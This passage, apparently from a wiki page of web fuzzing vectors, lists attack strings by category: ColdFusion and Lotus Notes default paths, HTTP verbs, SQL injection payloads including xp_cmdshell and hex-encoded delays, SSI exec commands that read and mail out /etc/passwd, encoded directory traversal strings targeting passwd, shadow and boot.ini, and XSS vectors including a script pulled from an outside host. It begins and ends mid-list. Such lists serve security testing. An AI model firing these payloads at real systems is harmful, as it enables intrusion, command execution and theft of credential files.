.dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG 